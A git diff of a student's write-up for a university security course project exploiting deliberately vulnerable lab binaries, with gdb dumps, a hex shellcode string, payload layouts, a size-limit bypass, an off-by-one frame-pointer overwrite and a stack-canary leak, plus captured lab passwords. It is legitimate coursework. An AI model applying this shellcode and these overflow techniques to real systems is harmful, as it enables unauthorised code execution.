diff --git a/README.md b/README.md index 63ca6e85e34673a4bf2590fd197174b4184107f7..9929f42a1b59494e0f56cfdad429c21f0b33e9b5 100644 --- a/README.md +++ b/README.md @@ -10,6 +10,8 @@ https://acropolis.cs.berkeley.edu/~account/webacct/ Account: cs161-atw +Password: `genpasswd cs161` + To change the password: `ssh update.cs.berkeley.edu` diff --git a/proj1/161-proj1-3.png b/proj1/161-proj1-3.png new file mode 100644 index 0000000000000000000000000000000000000000..e62dc8e82e18cac04fce9755fbe795347b48ce7e Binary files /dev/null and b/proj1/161-proj1-3.png differ diff --git a/proj1/explain.md b/proj1/explain.md index 6ab1d7b91eb56ba63acdb08ceeab08c1b7735d84..527a5ac5bfdde1488352b35ccccc085f76696937 100644 --- a/proj1/explain.md +++ b/proj1/explain.md @@ -1,7 +1,8 @@ ## 1 -The makefile is interesting and I think the professor tried his best to -make the program unsafe. +- a description of the vulnerability + + Just run gdb and see what happens: ``` @@ -45,7 +46,52 @@ c I saw that eax is 0xbffffab8. The return address should original be 0xb7ffc4d3 (in main), and I can easily find it at 0xbffffacc. So I should put payload at 0xbffffad0 and input `0123456789abcdef0123456789abcdef01234567 + bffffa40 + payload`, where paylaod is `6a3158cd8089c389c16a4658cd8031c050682f2f7368682f62696e545b505389e131d2b00bcd800a`. After fixing byte sequence problem with python, the input.txt is ready. -Now I can see +- how it could be exploited + +buffer overflow. already explained above. + +- how you determined which address to jump to + +hardcoded + +- a detailed explanation of your solution + +``` +(gdb) run < input.txt +Starting program: /home/vsftpd/dejavu < input.txt + +Breakpoint 1, deja_vu () at dejavu.c:7 +7 gets(door); +(gdb) print (void *)door +$1 = (void *) 0xbffffab8 +(gdb) x/32x 0xbffffab8 +0xbffffab8: 0xbffffb6c 0xb7ffc165 0x00000000 0x00000000 +0xbffffac8: 0xbffffad8 0xb7ffc4d3 0x00000000 0xbffffaf0 +0xbffffad8: 0xbffffb6c 0xb7ffc6ae 0xb7ffc648 0xb7ffefd8 +0xbffffae8: 0xbffffb64 0xb7ffc6ae 0x00000001 0xbffffb64 +0xbffffaf8: 0xbffffb6c 0x00000000 0x00000000 0x00000100 +0xbffffb08: 0xb7ffc682 0xb7ffefd8 0x00000000 0x00000000 +0xbffffb18: 0x00000000 0xb7ffc32a 0xb7ffc4bd 0x00000001 +0xbffffb28: 0xbffffb64 0xb7ffc158 0xb7ffd19d 0x00000000 +(gdb) break 8 +Breakpoint 2 at 0xb7ffc4ba: file dejavu.c, line 8. +(gdb) c +Continuing. + +Breakpoint 2, deja_vu () at dejavu.c:8 +8 } +(gdb) x/32x 0xbffffab8 +0xbffffab8: 0x01234567 0x89abcdef 0x01234567 0x89abcdef +0xbffffac8: 0x01234567 0xbffffad0 0xcd58316a 0x89c38980 +0xbffffad8: 0x58466ac1 0xc03180cd 0x2f2f6850 0x2f68736c +0xbffffae8: 0x546e6962 0x8953505b 0xb0d231e1 0x0080cd0b +0xbffffaf8: 0xbffffb00 0x00000000 0x00000000 0x00000100 +0xbffffb08: 0xb7ffc682 0xb7ffefd8 0x00000000 0x00000000 +0xbffffb18: 0x00000000 0xb7ffc32a 0xb7ffc4bd 0x00000001 +0xbffffb28: 0xbffffb64 0xb7ffc158 0xb7ffd19d 0x00000000 + +``` + ``` pwnable:~$ ./exploit dumb-shell $ id @@ -57,47 +103,67 @@ Next username: smith Next password: 37ZFBrAPm8 ``` -My code is attached below -``` -#!/usr/bin/python3 -def fuck8(txt): - assert(len(txt) == 8) - return txt[6:8] + txt[4:6] + txt[2:4] + txt[0:2] +## 2 -def revert(txt): - assert(len(txt) % 8 == 0) - res = "" - for i in range(int(len(txt) / 8)): - res += fuck8(txt[i*8:(i+1)*8]) - return res +- a description of the vulnerability +already explained in problem 1. -fill = "0123456789abcdef0123456789abcdef01234567" -#cs161-ace# raddr = "bffffa40" -#cs161-atw# raddr = "bffffad0" -raddr = "bffffad0" -#shellcode = "\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" -shellcode = "6a3158cd8089c389c16a4658cd8031c050682f2f7368682f62696e545b505389e131d2b00bcd800a" -########################################################################################### <- append an endline (0x0a, \n) +- how it could be exploited -payload = revert(fill) + revert(raddr) + (shellcode) -#print(payload) +Just do as what I did in problem 1. I can see the return address is 0x00400775, stored at &msg+128+20. +Because the buffer is large enough, I'll put payload here. &msg is 0xbffffa18, so I must change 0x00400775 +to 0xbffffa18. -import binascii +Oh I didn't tell you how should I bypass the `size` limit. Just put a `-1` and enjoy it. -b = binascii.unhexlify(payload) -with open('/dev/fd/1','wb') as f: - f.write(b) -``` +- how you determined which address to jump to -## 2 +hardcoded. -Just do as what I did in problem 1. I can see the return address is 0x00400775, stored at &msg+128+20. -Because the buffer is large enough, I'll put payload here. &msg is 0xbffffa18, so I must change 0x00400775 -to 0xbffffa18. +- a detailed explanation of your solution -Oh I didn't tell you how should I bypass the `size` limit. Just put a `-1` and enjoy your day. +``` +(gdb) run +Starting program: /home/smith/agent-smith pwnzerized + +Breakpoint 2, display (path=0xbffffc5e "pwnzerized") at agent-smith.c:9 +9 memset(msg, 0, 128); +(gdb) print (void *)msg +$1 = (void *) 0xbffffa18 +(gdb) x/32x 0xbffffa18 +0xbffffa18: 0xb7ffd2d0 0x00400429 0x00000002 0xb7ffcf5c +0xbffffa28: 0x00000000 0xb7fc8d99 0x00000000 0x00400034 +0xbffffa38: 0xbffffa40 0x00000008 0x01be3c6e 0x00000001 +0xbffffa48: 0x00000030 0x00001fb8 0x00000000 0x000002a0 +0xbffffa58: 0x00000180 0x00000000 0x00000000 0x00000000 +0xbffffa68: 0x000000fc 0x00000010 0x0000041c 0x000007ac +0xbffffa78: 0x00000000 0x00000000 0x00000000 0x0000039c +0xbffffa88: 0x00000050 0x00000008 0x00000011 0xb7fff1a8 +(gdb) c +Continuing. + +Breakpoint 1, display (path=0xbffffc5e "pwnzerized") at agent-smith.c:21 +21 puts(msg); +(gdb) x/64x 0xbffffa18 +0xbffffa18: 0xcd58316a 0x89c38980 0x58466ac1 0xc03180cd +0xbffffa28: 0x2f2f6850 0x2f686873 0x546e6962 0x8953505b +0xbffffa38: 0xb0d231e1 0x0a80cd0b 0x01010101 0x01010101 +0xbffffa48: 0x01010101 0x01010101 0x01010101 0x01010101 +0xbffffa58: 0x01010101 0x01010101 0x01010101 0x01010101 +0xbffffa68: 0x01010101 0x01010101 0x01010101 0x01010101 +0xbffffa78: 0x01010101 0x01010101 0x01010101 0x01010101 +0xbffffa88: 0x01010101 0x01010101 0x01010101 0x01010101 +0xbffffa98: 0x00000098 0x01010101 0x01010101 0x01010101 +0xbffffaa8: 0x01010101 0xbffffa18 0xbffffc5e 0x00000000 +0xbffffab8: 0x00000000 0x00400751 0x00000000 0xbffffae0 +0xbffffac8: 0xbffffb60 0xb7f8cc8b 0xbffffb54 0x00000002 +0xbffffad8: 0xbffffb60 0xb7f8cc8b 0x00000002 0xbffffb54 +0xbffffae8: 0xbffffb60 0x00000008 0x00000000 0x00000000 +0xbffffaf8: 0xb7f8cc5f 0x00401fb8 0xbffffb50 0xb7ffede4 +0xbffffb08: 0x00000000 0x00400505 0x0040073b 0x00000002 +``` Now I can see @@ -115,46 +181,60 @@ Next username: brown Next password: mXFLFR5C62 ``` -My code is attached below. -``` -#!/usr/bin/python3 +## 3 -def fuck8(txt): - assert(len(txt) == 8) - return txt[6:8] + txt[4:6] + txt[2:4] + txt[0:2] + -def revert(txt): - assert(len(txt) % 8 == 0) - res = "" - for i in range(int(len(txt) / 8)): - res += fuck8(txt[i*8:(i+1)*8]) - return res +- description of the vulnerability +The question is off-by-one overflow problem. -raddr = "bffffa18" -#shellcode = "\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" -shellcode = "6a3158cd8089c389c16a4658cd8031c050682f2f7368682f62696e545b505389e131d2b00bcd800a" +- how it could be exploited -length_to_fill = 20 + 128 - int(len(shellcode)/2) -fill = "01" * length_to_fill +After reading aslr.pdf figure 30, I know that I should set %ebp to &buf[0] (0xbffffa40), and put the new return address in &buf[1], and put the payload. So I should overflow an "40" to %ebp. Now I'll do it. -int8_neg1 = "ff" +- how you determined which address to jump to -payload = int8_neg1 + (shellcode) + fill + revert(raddr) -#print(payload) +I hardcoded it to &buf[2]. -import binascii +- REALLY IMPORTANT NOTE -b = binascii.unhexlify(payload) -with open('/dev/fd/1','wb') as f: - f.write(b) -``` +However, after implementing the solution above, ./debug-exploit works but ./exploit doesn't. That's because overflowed "0x40" xor "1<<5" yields "`", which is beaking the shell (in the buggy exploit script). So I shift everything 4 bytes right. Now %ebp is set to &buf[1] and new return address is set to &buf[2] and overflowed byte is "44". Now everything is OK. -## 3 +- a detailed explanation of your solution -The question is off-by-one overflow problem. After reading aslr.pdf figure 30, I know that I should set %ebp to &buf[0] (0xbffffa40), and put the new return address in &buf[1], and put the payload. So I should overflow an "40" to %ebp. Now I'll do it. +``` +(gdb) print (void *)buf +$1 = (void *) 0xbffffa40 +(gdb) x/32x 0xbffffa40 +0xbffffa40: 0x00000000 0x00000001 0x00000000 0xbffffbeb +0xbffffa50: 0x00000000 0x00000000 0x00000000 0xb7ffc44e +0xbffffa60: 0x00000000 0xb7ffefd8 0xbffffb20 0xb7ffc165 +0xbffffa70: 0x00000000 0x00000000 0x00000000 0xb7ffc6dc +0xbffffa80: 0xbffffa8c 0xb7ffc539 0xbffffc27 0xbffffa98 +0xbffffa90: 0xb7ffc55d 0xbffffc27 0xbffffb20 0xb7ffc734 +0xbffffaa0: 0x00000002 0xbffffb14 0xbffffb20 0x00000000 +0xbffffab0: 0x00000000 0x00000100 0xb7ffc708 0xb7ffefd8 +(gdb) break 20 +Breakpoint 2 at 0xb7ffc51f: file agent-brown.c, line 20. +(gdb) c +Continuing. + +Breakpoint 2, invoke ( + in=0xbffffc27 "!\003eG!\003eGl\332ߟJ\021x\355\240\251\343\251\341Jfx\355\240\021\340pH\017\017SHH\017BINt{ps\251\301\021\362\220+\355\240*", '!' <repeats 12 times>, "d") + at agent-brown.c:20 +20 puts(buf); +(gdb) x/32x 0xbffffa40 +0xbffffa40: 0x67452301 0x67452301 0xbffffa4c 0xcd58316a +0xbffffa50: 0x89c38980 0x58466ac1 0xc03180cd 0x2f2f6850 +0xbffffa60: 0x2f686873 0x546e6962 0x8953505b 0xb0d231e1 +0xbffffa70: 0x0a80cd0b 0x01010101 0x01010101 0x01010101 +0xbffffa80: 0xbffffa44 0xb7ffc539 0xbffffc27 0xbffffa98 +0xbffffa90: 0xb7ffc55d 0xbffffc27 0xbffffb20 0xb7ffc734 +0xbffffaa0: 0x00000002 0xbffffb14 0xbffffb20 0x00000000 +0xbffffab0: 0x00000000 0x00000100 0xb7ffc708 0xb7ffefd8 +``` -However, after implementing the solution above, ./debug-exploit works but ./exploit doesn't. That's because overflowed "0x40" xor "1<<5" yields "`", which is beaking the shell (in the buggy exploit script). So I shift everything 4 bytes right. Now %ebp is set to &buf[1] and new return address is set to &buf[2] and overflowed byte is "44". Now everything is OK. ``` pwnable:~$ ./exploit @@ -168,64 +248,11 @@ Next username: jz Next password: cqkeuevfIO ``` -My `./arg` is still attached below. Note that my `./egg` is empty. - -``` -#!/usr/bin/python3 - -def fuck8(txt): - assert(len(txt) == 8) - return txt[6:8] + txt[4:6] + txt[2:4] + txt[0:2] - -def revert(txt): - assert(len(txt) % 8 == 0) - res = "" - for i in range(int(len(txt) / 8)): - res += fuck8(txt[i*8:(i+1)*8]) - return res - -## The FUCKING silly script booms the shell because overflow="40"="`". -## cs161-atw -#raddr = "bffffa48" -##shellcode = "\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" -#shellcode = "6a3158cd8089c389c16a4658cd8031c050682f2f7368682f62696e545b505389e131d2b00bcd800a" -# -#overflow = "40" -#buf0 = "01234567" -# -#length_to_fill = 64 - 8 - int(len(shellcode)/2) -#fill = "01" * length_to_fill -# -#payload = buf0 + revert(raddr) + (shellcode) + fill + overflow - -## cs161-atw -raddr = "bffffa4c" -#shellcode = "\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" -shellcode = "6a3158cd8089c389c16a4658cd8031c050682f2f7368682f62696e545b505389e131d2b00bcd800a" - -overflow = "44" -buf0 = "01234567" - -length_to_fill = 64 - 8 - 4 - int(len(shellcode)/2) -fill = "01" * length_to_fill - -payload = buf0 + buf0 + revert(raddr) + (shellcode) + fill + overflow - - -import binascii - -b = binascii.unhexlify(payload) -b = bytes([byte^(1<<5) for byte in b]) -with open('/dev/fd/1','wb') as f: - f.write(b) - -``` - ## 4 -The solution is easy. Since BUFLEN=16, I send `0123456789ab\x`, then dehexify skips the `\0` and prints everything in canary area. +The solution is easy. Since BUFLEN=16, I send `0123456789ab\x`, then dehexify skips the `\0` and prints everything in canary area. Now I can determine the canary value. -Now I construct a message with 16 junk characters to fill the buffer, correct canary, another 8 characters to shift ebp & other staffes, and the return address, then the shellcode. +Now I construct a message with 16 junk characters to fill the buffer + correct canary + another 8 characters to shift ebp & other staffes + the return address (pointing to the following shellcode) + shellcode. ## 5 diff --git a/proj1/explain.pdf b/proj1/explain.pdf new file mode 100644 index 0000000000000000000000000000000000000000..17094a191f38668b46f4d51a59a608e1a9523bdc Binary files /dev/null and b/proj1/explain.pdf differ diff --git a/proj1/solution/egg5-bind b/proj1/solution/egg5 old mode 100644 new mode 100755 similarity index 100% rename from proj1/solution/egg5-bind rename to proj1/solution/egg5 diff --git a/proj1/ssh.sh b/proj1/ssh.sh index b4a969f78910bf508a4cd7ad61a0f1c25863e06b..cd06b820960c5dcb1c55eb3ca15aa1b85c97bbf8 100755 --- a/proj1/ssh.sh +++ b/proj1/ssh.sh @@ -2,6 +2,7 @@ if [[ $1 == remote ]]; then echo 'Connecting ucb cs161 autograde machine...' u=atw + echo ssh -t cs161-$u@hive$((36#${u:2}%26+1)).cs.berkeley.edu \~cs161/proj1/start ssh -t cs161-$u@hive$((36#${u:2}%26+1)).cs.berkeley.edu \~cs161/proj1/start else echo 'Connecting localhost...'